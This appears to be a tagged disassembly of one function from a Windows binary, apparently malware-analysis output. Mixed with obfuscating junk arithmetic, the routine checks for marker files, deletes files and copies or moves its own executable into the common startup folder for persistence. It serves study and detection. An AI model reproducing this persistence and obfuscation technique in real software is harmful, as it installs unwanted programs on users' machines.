Function at 0x40d260
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45c540]
xor eax, esp
mov dword [esp + 0x304], eax
push esi
mov esi, dword [0x45abe4]
mov eax, 0x63e7063f
imul esi
mov eax, dword [0x45abd0]
sar edx, 5
mov ecx, edx
push edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45abcc]
lea edi, [eax + edx]
mov eax, 0x94f2095
imul edi, edi, 0x44
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x3159721f
imul esi
mov esi, dword [0x45abdc]
sar edx, 4
add edi, edx
mov eax, edx
mov edx, dword [0x45abe0]
shr eax, 0x1f
imul edx, edx, 0x21
add eax, edi
add edx, ecx
add edx, eax
mov eax, dword [0x45abc8]
shl esi, 4
add esi, edx
mov edx, dword [0x45abd4]
lea edi, [edx + eax]
mov dword [0x45abdc], esi
imul edi, edi, 0x25
mov esi, dword [0x45abd8]
mov eax, 0x3159721f
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x78787879
imul esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
mov eax, edx
imul eax, eax, 0x53
add edi, eax
mov eax, 0x6bca1af3
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45abe4], eax
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40d7d7
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40d7d7
mov edx, dword [0x45abc8]
mov ecx, dword [0x45abe0]
lea esi, [edx + ecx]
mov ecx, dword [0x45abd0]
mov eax, 0xb81702e1
imul ecx
add edx, ecx
sar edx, 6
shl esi, 4
add esi, edx
mov edi, edx
mov eax, 0x3e0f83e1
imul ecx
sar edx, 3
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov eax, ecx
mov ecx, dword [0x45abe4]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x94f2095
imul ecx
sar edx, 1
push ebp
mov eax, edx
shr eax, 0x1f
push 0x104
lea ecx, [esp + 0x214]
add eax, edx
push ecx
sub esi, eax
push 0
mov dword [0x45abc8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.0042efa0
mov esi, eax
push str..exe
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.0042e1a1
mov ecx, dword [0x45abd8]
mov edi, dword [0x45abe8]
mov eax, dword [0x45abc8]
imul edi, edi, 0x54
imul eax, eax, 0x37
mov edx, ecx
imul edx, edx, 0x52
add edi, edx
mov edx, dword [0x45abd0]
add edi, eax
mov eax, 0x6bca1af3
imul edx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, ecx
mov ecx, dword [0x45abdc]
cdq
and edx, 0xf
add eax, edx
sar eax, 4
add edi, eax
mov eax, 0x63e7063f
add esp, 0x18
imul ecx
mov ebp, dword [0x45abe4]
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0
sub edi, ecx
push 0x18
lea edx, [esp + 0x118]
sub edi, ebp
push edx
sub edi, 0x10
push 0
mov dword [0x45abd0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40d4b5
push ebx
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44b274
push eax
call fcn.0042e1a1
mov esi, dword [0x45abe8]
mov eax, 0xb81702e1
imul esi
add edx, esi
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, dword [0x45abd4]
mov eax, 0x30c30c31
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, dword [0x45abe0]
mov ebp, eax
mov eax, 0x3159721f
imul ebx
sub ebp, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
shl ecx, 4
sub ebp, ecx
mov ecx, dword [0x45abc8]
sub ebp, eax
imul ecx, ecx, 0x53
mov eax, 0xdd67c8a7
imul edi
add edx, edi
imul edi, edi, 0x25
add ebp, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add ecx, edi
add esp, 0xc
mov dword [0x45abd8], ecx
xor edi, edi
jmp 0x40d570
mov ecx, dword [0x45abd8]
mov ebx, dword [0x45abd4]
mov esi, dword [0x45abe8]
mov edx, dword [0x45abd0]
imul ecx, ecx, 0x21
imul ebx, ebx, 0x54
lea eax, [esi + edx]
imul eax, eax, 0x4c
mov dword [esp + 0x10], eax
mov eax, 0x78787879
imul esi
mov eax, dword [esp + 0x10]
sar edx, 5
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
sub esi, ebx
add esi, ecx
mov ecx, dword [0x45abcc]
mov eax, 0x6bca1af3
imul ecx
mov ecx, dword [0x45abdc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
shl ecx, 4
lea edx, [esp + 0x14]
sub esi, ecx
push 0
push edx
mov dword [0x45abe0], esi
call fcn.0042e53d
add esp, 8
cmp eax, 0xffffffff
je 0x40d5f0
lea eax, [esp + 0x14]
push eax
call ebp
inc edi
cmp edi, 0x64
jl 0x40d55e
mov esi, dword [0x45abd0]
mov ecx, dword [0x45abd8]
lea edi, [ecx + esi]
imul esi, esi, 0x53
mov ecx, dword [0x45abc8]
imul edi, edi, 0x59
mov eax, 0x3159721f
imul ecx
sar edx, 4
add edi, edx
mov ebx, edx
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
shr ebx, 0x1f
add ebx, edi
mov edi, dword [esp + 0x31c]
add ebx, edx
mov ecx, edx
mov eax, 0x3e0f83e1
imul dword [str._r_____r____]
shr ecx, 0x1f
sar edx, 3
add ecx, ebx
mov eax, edx
sub ecx, esi
mov esi, dword [0x45abe4]
shr eax, 0x1f
add eax, edx
mov edx, esi
sub ecx, eax
shl edx, 4
sub ecx, edx
test edi, edi
mov dword [0x45abe8], ecx
je 0x40d673
cmp edi, 2
jne 0x40d746
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call esi
test eax, eax
jne 0x40d73a
mov ecx, dword [0x45abd4]
mov edi, dword [0x45abe8]
imul edi, edi, 0x54
mov eax, 0x3159721f
imul ecx
sar edx, 4
add edi, edx
mov ebx, edx
mov eax, 0x63e7063f
imul ecx
mov ecx, dword [0x45abcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x59
shr ebx, 0x1f
add ebx, edi
sub ebx, eax
add ebx, edx
mov eax, 0x63e7063f
imul ecx
sar edx, 5
mov edi, edx
add ebx, edx
mov eax, 0x78787879
imul ecx
mov ecx, dword [0x45abdc]
sar edx, 5
imul ecx, ecx, 0x37
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, ebx
push 6
sub edi, eax
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x1c]
add edi, ecx
push eax
mov dword [str._r_____r____], edi
call esi
mov eax, 0xfffffffe
pop ebx
pop ebp
pop edi
pop esi
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0042dfcd
add esp, 0x308
ret
mov esi, dword [0x45abe4]
mov ecx, dword [0x45abe8]
mov ebx, dword [0x45abd4]
imul ecx, ecx, 0x54
mov eax, 0x3159721f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebp, eax
mov eax, 0x94f2095
imul ebx
sub ebp, ecx
mov ecx, dword [0x45abe0]
sar edx, 1
imul ecx, ecx, 0x59
mov ebx, edx
add ebp, edx
shr ebx, 0x1f
add ebx, ebp
add ebx, ecx
mov ecx, dword [0x45abcc]
mov eax, 0xdd67c8a7
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
shl esi, 4
add eax, esi
sub eax, edx
add eax, 0x4c
cmp edi, 1
mov dword [0x45abcc], eax
je 0x40d7bb
cmp edi, 2
jne 0x40d7d0
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40d721
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
xor ecx, esp
or eax, 0xffffffff
call fcn.0042dfcd
add esp, 0x308
ret